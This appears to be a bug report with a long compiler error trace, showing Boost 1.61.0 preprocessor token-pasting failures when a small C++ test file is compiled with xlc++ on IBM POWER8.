jlost@… — Fri, 01 Jul 2016 15:02:24 GMT

Hi, compiling the following file with boost 1.61.0 and xlc++ on an IBM POWER8 system results in the following errors...

File: test.cpp

#include <fstream>
#include <iostream>
#include <string>
#include <map>
#include <set>
#include <boost/lexical_cast.hpp>
#include <boost/algorithm/string.hpp>
using namespace boost;
using namespace std;
struct testing
{
};

Command:

xlc++ ./test.cpp -I/home/u0017592/projects/boost_1_61_0

Output:

In file included from ./tools/test.cpp:13:
In file included from /home/u0017592/projects/boost_1_61_0/boost/lexical_cast.hpp:30:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/iterator_range_core.hpp:38:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/functions.hpp:20:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/size.hpp:21:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/size_type.hpp:20:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/concepts.hpp:19:
/home/u0017592/projects/boost_1_61_0/boost/concept_check.hpp:70:3: error: pasting formed 'BOOST_PP_SEQ_SIZE_0(', an invalid preprocessing token
  BOOST_concept(Integer, (T))
  ^
/home/u0017592/projects/boost_1_61_0/boost/concept/detail/concept_def.hpp:19:16: note: expanded from macro 'BOOST_concept'
    template < BOOST_PP_SEQ_FOR_EACH_I(BOOST_CONCEPT_typename,~,params) >       \
               ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/for_each_i.hpp:30:55: note: expanded from macro 'BOOST_PP_SEQ_FOR_EACH_I'
#    define BOOST_PP_SEQ_FOR_EACH_I(macro, data, seq) BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK(macro, data, seq)
                                                      ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/for_each_i.hpp:42:4: note: expanded from macro 'BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK'
                        BOOST_PP_SEQ_DETAIL_IS_NOT_EMPTY(seq), \
                        ^
note: (skipping 2 expansions in backtrace; use -fmacro-backtrace-limit=0 to see all)
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/size.hpp:26:69: note: expanded from macro 'BOOST_PP_SEQ_SIZE'
#    define BOOST_PP_SEQ_SIZE(seq) BOOST_PP_CAT(BOOST_PP_SEQ_SIZE_, BOOST_PP_CAT(BOOST_PP_SEQ_SIZE_0, seq))
                                                                    ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/cat.hpp:22:32: note: expanded from macro 'BOOST_PP_CAT'
#    define BOOST_PP_CAT(a, b) BOOST_PP_CAT_I(a, b)
                               ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/cat.hpp:29:36: note: expanded from macro 'BOOST_PP_CAT_I'
#    define BOOST_PP_CAT_I(a, b) a ## b
                                   ^
In file included from ./tools/test.cpp:13:
In file included from /home/u0017592/projects/boost_1_61_0/boost/lexical_cast.hpp:30:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/iterator_range_core.hpp:38:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/functions.hpp:20:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/size.hpp:21:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/size_type.hpp:20:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/concepts.hpp:19:
/home/u0017592/projects/boost_1_61_0/boost/concept_check.hpp:70:3: error: pasting formed 'BOOST_PP_SEQ_SIZE_0(', an invalid preprocessing token
/home/u0017592/projects/boost_1_61_0/boost/concept/detail/concept_def.hpp:19:16: note: expanded from macro 'BOOST_concept'
    template < BOOST_PP_SEQ_FOR_EACH_I(BOOST_CONCEPT_typename,~,params) >       \
               ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/for_each_i.hpp:30:55: note: expanded from macro 'BOOST_PP_SEQ_FOR_EACH_I'
#    define BOOST_PP_SEQ_FOR_EACH_I(macro, data, seq) BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK(macro, data, seq)
                                                      ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/for_each_i.hpp:43:4: note: expanded from macro 'BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK'
                        BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK_EXEC, \
                        ^
note: (skipping 4 expansions in backtrace; use -fmacro-backtrace-limit=0 to see all)
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/size.hpp:26:69: note: expanded from macro 'BOOST_PP_SEQ_SIZE'
#    define BOOST_PP_SEQ_SIZE(seq) BOOST_PP_CAT(BOOST_PP_SEQ_SIZE_, BOOST_PP_CAT(BOOST_PP_SEQ_SIZE_0, seq))
                                                                    ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/cat.hpp:22:32: note: expanded from macro 'BOOST_PP_CAT'
#    define BOOST_PP_CAT(a, b) BOOST_PP_CAT_I(a, b)
                               ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/cat.hpp:29:36: note: expanded from macro 'BOOST_PP_CAT_I'
#    define BOOST_PP_CAT_I(a, b) a ## b
                                   ^
In file included from ./tools/test.cpp:13:
In file included from /home/u0017592/projects/boost_1_61_0/boost/lexical_cast.hpp:30:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/iterator_range_core.hpp:38:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/functions.hpp:20:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/size.hpp:21:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/size_type.hpp:20:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/concepts.hpp:19:
/home/u0017592/projects/boost_1_61_0/boost/concept_check.hpp:70:3: error: pasting formed 'BOOST_PP_SEQ_ELEM_0(', an invalid preprocessing token
/home/u0017592/projects/boost_1_61_0/boost/concept/detail/concept_def.hpp:19:16: note: expanded from macro 'BOOST_concept'
    template < BOOST_PP_SEQ_FOR_EACH_I(BOOST_CONCEPT_typename,~,params) >       \
               ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/for_each_i.hpp:30:55: note: expanded from macro 'BOOST_PP_SEQ_FOR_EACH_I'
#    define BOOST_PP_SEQ_FOR_EACH_I(macro, data, seq) BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK(macro, data, seq)
                                                      ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/for_each_i.hpp:43:4: note: expanded from macro 'BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK'
                        BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK_EXEC, \
                        ^
note: (skipping 13 expansions in backtrace; use -fmacro-backtrace-limit=0 to see all)
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/elem.hpp:39:66: note: expanded from macro 'BOOST_PP_SEQ_ELEM_I'
#        define BOOST_PP_SEQ_ELEM_I(i, seq) BOOST_PP_SEQ_ELEM_II(BOOST_PP_CAT(BOOST_PP_SEQ_ELEM_ ## i, seq))
                                                                 ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/cat.hpp:22:32: note: expanded from macro 'BOOST_PP_CAT'
#    define BOOST_PP_CAT(a, b) BOOST_PP_CAT_I(a, b)
                               ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/cat.hpp:29:36: note: expanded from macro 'BOOST_PP_CAT_I'
#    define BOOST_PP_CAT_I(a, b) a ## b
                                   ^
In file included from ./tools/test.cpp:13:
In file included from /home/u0017592/projects/boost_1_61_0/boost/lexical_cast.hpp:30:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/iterator_range_core.hpp:38:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/functions.hpp:20:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/size.hpp:21:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/size_type.hpp:20:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/concepts.hpp:19:
/home/u0017592/projects/boost_1_61_0/boost/concept_check.hpp:70:3: error: pasting formed 'BOOST_PP_SEQ_SIZE_0(', an invalid preprocessing token
/home/u0017592/projects/boost_1_61_0/boost/concept/detail/concept_def.hpp:22:16: note: expanded from macro 'BOOST_concept'
    template < BOOST_PP_SEQ_FOR_EACH_I(BOOST_CONCEPT_typename,~,params) >       \
               ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/for_each_i.hpp:30:55: note: expanded from macro 'BOOST_PP_SEQ_FOR_EACH_I'
#    define BOOST_PP_SEQ_FOR_EACH_I(macro, data, seq) BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK(macro, data, seq)
                                                      ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/for_each_i.hpp:42:4: note: expanded from macro 'BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK'
                        BOOST_PP_SEQ_DETAIL_IS_NOT_EMPTY(seq), \
                        ^
note: (skipping 2 expansions in backtrace; use -fmacro-backtrace-limit=0 to see all)
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/size.hpp:26:69: note: expanded from macro 'BOOST_PP_SEQ_SIZE'
#    define BOOST_PP_SEQ_SIZE(seq) BOOST_PP_CAT(BOOST_PP_SEQ_SIZE_, BOOST_PP_CAT(BOOST_PP_SEQ_SIZE_0, seq))
                                                                    ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/cat.hpp:22:32: note: expanded from macro 'BOOST_PP_CAT'
#    define BOOST_PP_CAT(a, b) BOOST_PP_CAT_I(a, b)
                               ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/cat.hpp:29:36: note: expanded from macro 'BOOST_PP_CAT_I'
#    define BOOST_PP_CAT_I(a, b) a ## b
                                   ^
In file included from ./tools/test.cpp:13:
In file included from /home/u0017592/projects/boost_1_61_0/boost/lexical_cast.hpp:30:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/iterator_range_core.hpp:38:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/functions.hpp:20:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/size.hpp:21:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/size_type.hpp:20:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/concepts.hpp:19:
/home/u0017592/projects/boost_1_61_0/boost/concept_check.hpp:70:3: error: pasting formed 'BOOST_PP_SEQ_SIZE_0(', an invalid preprocessing token
/home/u0017592/projects/boost_1_61_0/boost/concept/detail/concept_def.hpp:22:16: note: expanded from macro 'BOOST_concept'
    template < BOOST_PP_SEQ_FOR_EACH_I(BOOST_CONCEPT_typename,~,params) >       \
               ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/for_each_i.hpp:30:55: note: expanded from macro 'BOOST_PP_SEQ_FOR_EACH_I'
#    define BOOST_PP_SEQ_FOR_EACH_I(macro, data, seq) BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK(macro, data, seq)
                                                      ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/for_each_i.hpp:43:4: note: expanded from macro 'BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK'
                        BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK_EXEC, \
                        ^
note: (skipping 4 expansions in backtrace; use -fmacro-backtrace-limit=0 to see all)
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/size.hpp:26:69: note: expanded from macro 'BOOST_PP_SEQ_SIZE'
#    define BOOST_PP_SEQ_SIZE(seq) BOOST_PP_CAT(BOOST_PP_SEQ_SIZE_, BOOST_PP_CAT(BOOST_PP_SEQ_SIZE_0, seq))
                                                                    ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/cat.hpp:22:32: note: expanded from macro 'BOOST_PP_CAT'
#    define BOOST_PP_CAT(a, b) BOOST_PP_CAT_I(a, b)
                               ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/cat.hpp:29:36: note: expanded from macro 'BOOST_PP_CAT_I'
#    define BOOST_PP_CAT_I(a, b) a ## b
                                   ^
In file included from ./tools/test.cpp:13:
In file included from /home/u0017592/projects/boost_1_61_0/boost/lexical_cast.hpp:30:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/iterator_range_core.hpp:38:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/functions.hpp:20:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/size.hpp:21:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/size_type.hpp:20:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/concepts.hpp:19:
/home/u0017592/projects/boost_1_61_0/boost/concept_check.hpp:70:3: error: pasting formed 'BOOST_PP_SEQ_ELEM_0(', an invalid preprocessing token
/home/u0017592/projects/boost_1_61_0/boost/concept/detail/concept_def.hpp:22:16: note: expanded from macro 'BOOST_concept'
    template < BOOST_PP_SEQ_FOR_EACH_I(BOOST_CONCEPT_typename,~,params) >       \
               ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/for_each_i.hpp:30:55: note: expanded from macro 'BOOST_PP_SEQ_FOR_EACH_I'
#    define BOOST_PP_SEQ_FOR_EACH_I(macro, data, seq) BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK(macro, data, seq)
                                                      ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/for_each_i.hpp:43:4: note: expanded from macro 'BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK'
                        BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK_EXEC, \
                        ^
note: (skipping 13 expansions in backtrace; use -fmacro-backtrace-limit=0 to see all)
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/elem.hpp:39:66: note: expanded from macro 'BOOST_PP_SEQ_ELEM_I'
#        define BOOST_PP_SEQ_ELEM_I(i, seq) BOOST_PP_SEQ_ELEM_II(BOOST_PP_CAT(BOOST_PP_SEQ_ELEM_ ## i, seq))
                                                                 ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/cat.hpp:22:32: note: expanded from macro 'BOOST_PP_CAT'
#    define BOOST_PP_CAT(a, b) BOOST_PP_CAT_I(a, b)
                               ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/cat.hpp:29:36: note: expanded from macro 'BOOST_PP_CAT_I'
#    define BOOST_PP_CAT_I(a, b) a ## b
                                   ^
In file included from ./tools/test.cpp:13:
In file included from /home/u0017592/projects/boost_1_61_0/boost/lexical_cast.hpp:30:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/iterator_range_core.hpp:38:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/functions.hpp:20:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/size.hpp:21:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/size_type.hpp:20:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/concepts.hpp:19:
/home/u0017592/projects/boost_1_61_0/boost/concept_check.hpp:70:3: error: pasting formed 'BOOST_PP_SEQ_SIZE_0(', an invalid preprocessing token
/home/u0017592/projects/boost_1_61_0/boost/concept/detail/concept_def.hpp:24:15: note: expanded from macro 'BOOST_concept'
      : name< BOOST_PP_SEQ_ENUM(params) >                                       \
              ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/enum.hpp:28:69: note: expanded from macro 'BOOST_PP_SEQ_ENUM'
#    define BOOST_PP_SEQ_ENUM(seq) BOOST_PP_CAT(BOOST_PP_SEQ_ENUM_, BOOST_PP_SEQ_SIZE(seq)) seq
                                                                    ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/size.hpp:26:69: note: expanded from macro 'BOOST_PP_SEQ_SIZE'
#    define BOOST_PP_SEQ_SIZE(seq) BOOST_PP_CAT(BOOST_PP_SEQ_SIZE_, BOOST_PP_CAT(BOOST_PP_SEQ_SIZE_0, seq))
                                                                    ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/cat.hpp:22:32: note: expanded from macro 'BOOST_PP_CAT'
#    define BOOST_PP_CAT(a, b) BOOST_PP_CAT_I(a, b)
                               ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/cat.hpp:29:36: note: expanded from macro 'BOOST_PP_CAT_I'
#    define BOOST_PP_CAT_I(a, b) a ## b
                                   ^
In file included from ./tools/test.cpp:13:
In file included from /home/u0017592/projects/boost_1_61_0/boost/lexical_cast.hpp:30:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/iterator_range_core.hpp:38:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/functions.hpp:20:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/size.hpp:21:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/size_type.hpp:20:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/concepts.hpp:19:
/home/u0017592/projects/boost_1_61_0/boost/concept_check.hpp:70:3: error: pasting formed 'BOOST_PP_SEQ_SIZE_0(', an invalid preprocessing token
/home/u0017592/projects/boost_1_61_0/boost/concept/detail/concept_def.hpp:28:16: note: expanded from macro 'BOOST_concept'
    template < BOOST_PP_SEQ_FOR_EACH_I(BOOST_CONCEPT_typename,~,params) >       \
               ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/for_each_i.hpp:30:55: note: expanded from macro 'BOOST_PP_SEQ_FOR_EACH_I'
#    define BOOST_PP_SEQ_FOR_EACH_I(macro, data, seq) BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK(macro, data, seq)
                                                      ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/for_each_i.hpp:42:4: note: expanded from macro 'BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK'
                        BOOST_PP_SEQ_DETAIL_IS_NOT_EMPTY(seq), \
                        ^
note: (skipping 2 expansions in backtrace; use -fmacro-backtrace-limit=0 to see all)
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/size.hpp:26:69: note: expanded from macro 'BOOST_PP_SEQ_SIZE'
#    define BOOST_PP_SEQ_SIZE(seq) BOOST_PP_CAT(BOOST_PP_SEQ_SIZE_, BOOST_PP_CAT(BOOST_PP_SEQ_SIZE_0, seq))
                                                                    ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/cat.hpp:22:32: note: expanded from macro 'BOOST_PP_CAT'
#    define BOOST_PP_CAT(a, b) BOOST_PP_CAT_I(a, b)
                               ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/cat.hpp:29:36: note: expanded from macro 'BOOST_PP_CAT_I'
#    define BOOST_PP_CAT_I(a, b) a ## b
                                   ^
In file included from ./tools/test.cpp:13:
In file included from /home/u0017592/projects/boost_1_61_0/boost/lexical_cast.hpp:30:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/iterator_range_core.hpp:38:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/functions.hpp:20:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/size.hpp:21:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/size_type.hpp:20:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/concepts.hpp:19:
/home/u0017592/projects/boost_1_61_0/boost/concept_check.hpp:70:3: error: pasting formed 'BOOST_PP_SEQ_SIZE_0(', an invalid preprocessing token
/home/u0017592/projects/boost_1_61_0/boost/concept/detail/concept_def.hpp:28:16: note: expanded from macro 'BOOST_concept'
    template < BOOST_PP_SEQ_FOR_EACH_I(BOOST_CONCEPT_typename,~,params) >       \
               ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/for_each_i.hpp:30:55: note: expanded from macro 'BOOST_PP_SEQ_FOR_EACH_I'
#    define BOOST_PP_SEQ_FOR_EACH_I(macro, data, seq) BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK(macro, data, seq)
                                                      ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/for_each_i.hpp:43:4: note: expanded from macro 'BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK'
                        BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK_EXEC, \
                        ^
note: (skipping 4 expansions in backtrace; use -fmacro-backtrace-limit=0 to see all)
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/size.hpp:26:69: note: expanded from macro 'BOOST_PP_SEQ_SIZE'
#    define BOOST_PP_SEQ_SIZE(seq) BOOST_PP_CAT(BOOST_PP_SEQ_SIZE_, BOOST_PP_CAT(BOOST_PP_SEQ_SIZE_0, seq))
                                                                    ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/cat.hpp:22:32: note: expanded from macro 'BOOST_PP_CAT'
#    define BOOST_PP_CAT(a, b) BOOST_PP_CAT_I(a, b)
                               ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/cat.hpp:29:36: note: expanded from macro 'BOOST_PP_CAT_I'
#    define BOOST_PP_CAT_I(a, b) a ## b
                                   ^
In file included from ./tools/test.cpp:13:
In file included from /home/u0017592/projects/boost_1_61_0/boost/lexical_cast.hpp:30:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/iterator_range_core.hpp:38:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/functions.hpp:20:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/size.hpp:21:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/size_type.hpp:20:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/concepts.hpp:19:
/home/u0017592/projects/boost_1_61_0/boost/concept_check.hpp:70:3: error: pasting formed 'BOOST_PP_SEQ_ELEM_0(', an invalid preprocessing token
/home/u0017592/projects/boost_1_61_0/boost/concept/detail/concept_def.hpp:28:16: note: expanded from macro 'BOOST_concept'
    template < BOOST_PP_SEQ_FOR_EACH_I(BOOST_CONCEPT_typename,~,params) >       \
               ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/for_each_i.hpp:30:55: note: expanded from macro 'BOOST_PP_SEQ_FOR_EACH_I'
#    define BOOST_PP_SEQ_FOR_EACH_I(macro, data, seq) BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK(macro, data, seq)
                                                      ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/for_each_i.hpp:43:4: note: expanded from macro 'BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK'
                        BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK_EXEC, \
                        ^
note: (skipping 13 expansions in backtrace; use -fmacro-backtrace-limit=0 to see all)
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/elem.hpp:39:66: note: expanded from macro 'BOOST_PP_SEQ_ELEM_I'
#        define BOOST_PP_SEQ_ELEM_I(i, seq) BOOST_PP_SEQ_ELEM_II(BOOST_PP_CAT(BOOST_PP_SEQ_ELEM_ ## i, seq))
                                                                 ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/cat.hpp:22:32: note: expanded from macro 'BOOST_PP_CAT'
#    define BOOST_PP_CAT(a, b) BOOST_PP_CAT_I(a, b)
                               ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/cat.hpp:29:36: note: expanded from macro 'BOOST_PP_CAT_I'
#    define BOOST_PP_CAT_I(a, b) a ## b
                                   ^
In file included from ./tools/test.cpp:13:
In file included from /home/u0017592/projects/boost_1_61_0/boost/lexical_cast.hpp:30:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/iterator_range_core.hpp:38:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/functions.hpp:20:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/size.hpp:21:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/size_type.hpp:20:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/concepts.hpp:19:
/home/u0017592/projects/boost_1_61_0/boost/concept_check.hpp:97:3: error: pasting formed 'BOOST_PP_SEQ_SIZE_0(', an invalid preprocessing token
  BOOST_concept(SignedInteger,(T)) {
  ^
/home/u0017592/projects/boost_1_61_0/boost/concept/detail/concept_def.hpp:19:16: note: expanded from macro 'BOOST_concept'
    template < BOOST_PP_SEQ_FOR_EACH_I(BOOST_CONCEPT_typename,~,params) >       \
               ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/for_each_i.hpp:30:55: note: expanded from macro 'BOOST_PP_SEQ_FOR_EACH_I'
#    define BOOST_PP_SEQ_FOR_EACH_I(macro, data, seq) BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK(macro, data, seq)
                                                      ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/for_each_i.hpp:42:4: note: expanded from macro 'BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK'
                        BOOST_PP_SEQ_DETAIL_IS_NOT_EMPTY(seq), \
                        ^
note: (skipping 2 expansions in backtrace; use -fmacro-backtrace-limit=0 to see all)
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/size.hpp:26:69: note: expanded from macro 'BOOST_PP_SEQ_SIZE'
#    define BOOST_PP_SEQ_SIZE(seq) BOOST_PP_CAT(BOOST_PP_SEQ_SIZE_, BOOST_PP_CAT(BOOST_PP_SEQ_SIZE_0, seq))
                                                                    ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/cat.hpp:22:32: note: expanded from macro 'BOOST_PP_CAT'
#    define BOOST_PP_CAT(a, b) BOOST_PP_CAT_I(a, b)
                               ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/cat.hpp:29:36: note: expanded from macro 'BOOST_PP_CAT_I'
#    define BOOST_PP_CAT_I(a, b) a ## b
                                   ^
In file included from ./tools/test.cpp:13:
In file included from /home/u0017592/projects/boost_1_61_0/boost/lexical_cast.hpp:30:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/iterator_range_core.hpp:38:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/functions.hpp:20:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/size.hpp:21:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/size_type.hpp:20:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/concepts.hpp:19:
/home/u0017592/projects/boost_1_61_0/boost/concept_check.hpp:97:3: error: pasting formed 'BOOST_PP_SEQ_SIZE_0(', an invalid preprocessing token
/home/u0017592/projects/boost_1_61_0/boost/concept/detail/concept_def.hpp:19:16: note: expanded from macro 'BOOST_concept'
    template < BOOST_PP_SEQ_FOR_EACH_I(BOOST_CONCEPT_typename,~,params) >       \
               ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/for_each_i.hpp:30:55: note: expanded from macro 'BOOST_PP_SEQ_FOR_EACH_I'
#    define BOOST_PP_SEQ_FOR_EACH_I(macro, data, seq) BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK(macro, data, seq)
                                                      ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/for_each_i.hpp:43:4: note: expanded from macro 'BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK'
                        BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK_EXEC, \
                        ^
note: (skipping 4 expansions in backtrace; use -fmacro-backtrace-limit=0 to see all)
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/size.hpp:26:69: note: expanded from macro 'BOOST_PP_SEQ_SIZE'
#    define BOOST_PP_SEQ_SIZE(seq) BOOST_PP_CAT(BOOST_PP_SEQ_SIZE_, BOOST_PP_CAT(BOOST_PP_SEQ_SIZE_0, seq))
                                                                    ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/cat.hpp:22:32: note: expanded from macro 'BOOST_PP_CAT'
#    define BOOST_PP_CAT(a, b) BOOST_PP_CAT_I(a, b)
                               ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/cat.hpp:29:36: note: expanded from macro 'BOOST_PP_CAT_I'
#    define BOOST_PP_CAT_I(a, b) a ## b
                                   ^
In file included from ./tools/test.cpp:13:
In file included from /home/u0017592/projects/boost_1_61_0/boost/lexical_cast.hpp:30:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/iterator_range_core.hpp:38:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/functions.hpp:20:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/size.hpp:21:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/size_type.hpp:20:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/concepts.hpp:19:
/home/u0017592/projects/boost_1_61_0/boost/concept_check.hpp:97:3: error: pasting formed 'BOOST_PP_SEQ_ELEM_0(', an invalid preprocessing token
/home/u0017592/projects/boost_1_61_0/boost/concept/detail/concept_def.hpp:19:16: note: expanded from macro 'BOOST_concept'
    template < BOOST_PP_SEQ_FOR_EACH_I(BOOST_CONCEPT_typename,~,params) >       \
               ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/for_each_i.hpp:30:55: note: expanded from macro 'BOOST_PP_SEQ_FOR_EACH_I'
#    define BOOST_PP_SEQ_FOR_EACH_I(macro, data, seq) BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK(macro, data, seq)
                                                      ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/for_each_i.hpp:43:4: note: expanded from macro 'BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK'
                        BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK_EXEC, \
                        ^
note: (skipping 13 expansions in backtrace; use -fmacro-backtrace-limit=0 to see all)
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/elem.hpp:39:66: note: expanded from macro 'BOOST_PP_SEQ_ELEM_I'
